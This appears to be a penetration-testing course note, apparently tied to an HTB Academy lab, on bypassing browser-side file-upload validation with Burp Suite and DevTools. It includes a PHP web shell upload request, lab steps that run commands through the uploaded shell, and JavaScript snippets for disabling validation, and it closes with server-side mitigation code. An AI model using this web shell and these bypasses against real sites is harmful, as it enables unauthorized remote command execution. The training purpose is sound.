Client-Side Validation
π« Front-End Only: Bypassing JavaScript-based file validation that occurs entirely in the browser
Overview
Many web applications only rely on front-end JavaScript code to validate the selected file format before it is uploaded and would not upload it if the file is not in the required format (e.g., not an image).
However, as the file format validation is happening on the client-side, we can easily bypass it by directly interacting with the server, skipping the front-end validations altogether. We may also modify the front-end code through our browser's dev tools to disable any validation in place.
Client-Side Validation
β οΈ Security Flaw: Any code that runs on the client-side is under our control
The exercise shows a basic Profile Image functionality, frequently seen in web applications that utilize user profile features, like social media web applications.
Identifying Client-Side Validation
Common Indicators:
File dialog limited to specific formats (e.g., images only)
Error messages appear without page refresh
No HTTP requests sent during validation
Upload button gets disabled based on file type
Example Scenario:
File Selection Dialog - Limited to
.jpg, .jpeg, .pngformatsInvalid File Selection - "Only images are allowed!" error message
Upload Button Disabled - No server interaction occurs
No Network Activity - Validation happens entirely in browser
Why Client-Side Validation is Vulnerable
Key Vulnerability Points:
Complete Control - All code executes within our browser
Source Code Access - We can view and modify all JavaScript
Server Trust - Backend may trust that frontend validated properly
Direct Server Access - We can bypass frontend entirely
Bypass Method 1: Back-end Request Modification
π§ Direct Server Communication: Bypass frontend by modifying HTTP requests
Burp Suite Interception Method
Step 1: Capture Normal Upload Request
POST /upload.php HTTP/1.1
Host: SERVER_IP:PORT
Content-Type: multipart/form-data; boundary=--WebKitFormBoundary
----WebKitFormBoundary
Content-Disposition: form-data; name="uploadFile"; filename="HTB.png"
Content-Type: image/png
[IMAGE CONTENT]
----WebKitFormBoundary--Step 2: Modify Request for PHP Upload
POST /upload.php HTTP/1.1
Host: SERVER_IP:PORT
Content-Type: multipart/form-data; boundary=--WebKitFormBoundary
----WebKitFormBoundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.php"
Content-Type: image/png
<?php system($_REQUEST['cmd']); ?>
----WebKitFormBoundary--Step 3: Analyze Response
HTTP/1.1 200 OK
Content-Length: 29
File successfully uploadedKey Modification Points
Critical Fields to Modify:
filename="HTB.png" β filename="shell.php"
[IMAGE CONTENT] β [PHP WEB SHELL CODE]
Optional Modifications:
Content-Type: Can be left as
image/pngor changed toapplication/x-phpFile Extension: Try different PHP extensions (
.phtml,.php5, etc.)
Complete Bypass Workflow
Step 1: Setup Interception
# Configure Burp Suite proxy
# Enable intercept in Proxy β Intercept tab
# Configure browser to use Burp proxy (127.0.0.1:8080)Step 2: Trigger Upload
# Select any valid image file in the upload form
# Click Upload button to generate HTTP request
# Request will be intercepted by Burp SuiteStep 3: Modify Request
# Change filename from image to PHP
# Replace file content with web shell
# Forward modified request to serverStep 4: Verify Upload
# Check server response for success message
# Navigate to uploaded file location
# Test command executionBypass Method 2: Disabling Front-end Validation
π οΈ Browser DevTools: Modify JavaScript validation directly in the browser
Browser Inspector Method
Step 1: Access Page Inspector
# Press [CTRL+SHIFT+C] to toggle Page Inspector
# Click on the profile image/upload area
# Locate the file input element in HTMLStep 2: Analyze HTML File Input
<input type="file" name="uploadFile" id="uploadFile"
onchange="checkFile(this)" accept=".jpg,.jpeg,.png">Key Elements:
accept=".jpg,.jpeg,.png" - File dialog filter
onchange="checkFile(this)" - JavaScript validation function
Step 3: Examine JavaScript Function
# Open Browser Console [CTRL+SHIFT+K]
# Type function name: checkFile
# Analyze validation logicExample checkFile Function:
function checkFile(File) {
var extension = File.value.split('.').pop().toLowerCase();
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
} else {
$("#submit").attr("disabled", false);
}
}Removing Validation Function
Method 1: Remove onchange Attribute
<!-- Original -->
<input type="file" name="uploadFile" id="uploadFile"
onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
<!-- Modified (remove onchange) -->
<input type="file" name="uploadFile" id="uploadFile"
accept=".jpg,.jpeg,.png">Method 2: Remove accept Attribute
<!-- Original -->
<input type="file" name="uploadFile" id="uploadFile"
onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
<!-- Modified (remove accept) -->
<input type="file" name="uploadFile" id="uploadFile"
onchange="checkFile(this)">Method 3: Remove Both Attributes
<!-- Fully cleaned input -->
<input type="file" name="uploadFile" id="uploadFile">Browser-Specific Instructions
Firefox Method:
Right-click on file input β "Inspect Element"
Double-click on attribute name to edit
Delete unwanted attributes
Press Enter to save changes
Chrome Method:
Right-click on file input β "Inspect"
Double-click on attribute to edit
Delete content and press Enter
Changes apply immediately
Edge Method:
Press F12 to open DevTools
Use element selector to find file input
Edit attributes in HTML panel
Changes are applied automatically
Testing Modified Upload
Step 1: Upload PHP File
# Select PHP web shell file
# No validation errors should occur
# Upload button remains enabledStep 2: Verify Upload Success
# Check for success message
# Locate uploaded file URL
# Test command executionStep 3: Find Uploaded File Location
<!-- Inspect profile image after upload -->
<img src="/profile_images/shell.php" class="profile-image" id="profile-image">HTB Academy Lab Solutions
Lab 1: Basic Client-Side Bypass
Target: HTB{...}
Method 1 - Burp Suite Interception:
# Step 1: Intercept image upload request
# Step 2: Modify filename to shell.php
# Step 3: Replace content with <?php system($_REQUEST['cmd']); ?>
# Step 4: Forward request
# Step 5: Access http://target/profile_images/shell.php?cmd=cat /flag.txtMethod 2 - Browser DevTools:
# Step 1: Press [CTRL+SHIFT+C] in browser
# Step 2: Click on upload area to inspect
# Step 3: Remove onchange="checkFile(this)" from input
# Step 4: Upload PHP shell normally
# Step 5: Access uploaded file and execute commandsExpected Workflow
1. Reconnaissance:
# Test normal image upload β SUCCESS
# Test PHP upload β BLOCKED with error message
# No page refresh during validation β Client-side validation confirmed2. Bypass Execution:
# Choose bypass method (Burp or DevTools)
# Upload PHP web shell
# Verify "File successfully uploaded" response3. Command Execution:
# Navigate to /profile_images/shell.php
# Test: ?cmd=whoami
# Flag: ?cmd=cat /flag.txtAdvanced Client-Side Bypass Techniques
JavaScript Function Overriding
Method: Redefine Validation Function
// Override checkFile function in browser console
function checkFile(File) {
// Do nothing - allow all files
$("#submit").attr("disabled", false);
}Event Listener Removal
Method: Remove Event Handlers
// Remove all change event listeners
document.getElementById('uploadFile').onchange = null;
// Or remove all event listeners
document.getElementById('uploadFile').removeEventListener('change', checkFile);Local Storage Manipulation
Method: Modify Client-Side Variables
// If validation uses localStorage
localStorage.setItem('allowedExtensions', 'php,phtml,php5');
// If validation uses sessionStorage
sessionStorage.setItem('fileTypeValidation', 'false');Form Validation Override
Method: Disable HTML5 Validation
// Disable form validation
document.querySelector('form').setAttribute('novalidate', 'true');
// Remove required attributes
document.querySelectorAll('[required]').forEach(el => el.removeAttribute('required'));Detection and Mitigation
Proper Server-Side Validation
Essential Backend Checks:
// Always validate on server-side
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
// Check MIME type
if (!in_array($_FILES['file']['type'], $allowedTypes)) {
die("Invalid file type");
}
// Check file extension
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) {
die("Invalid file extension");
}
// Check file content (magic bytes)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mimeType, $allowedTypes)) {
die("File content doesn't match extension");
}Defense-in-Depth Strategy
Multiple Validation Layers:
Client-side validation - User experience only
Server-side extension check - File extension validation
MIME type verification - Content-Type header check
Magic byte analysis - Actual file content inspection
File size limits - Prevent DoS attacks
Filename sanitization - Remove dangerous characters
Isolated storage - Non-executable upload directory
This comprehensive guide demonstrates why client-side validation alone is insufficient and provides practical methods to bypass such controls for successful penetration testing.
Last updated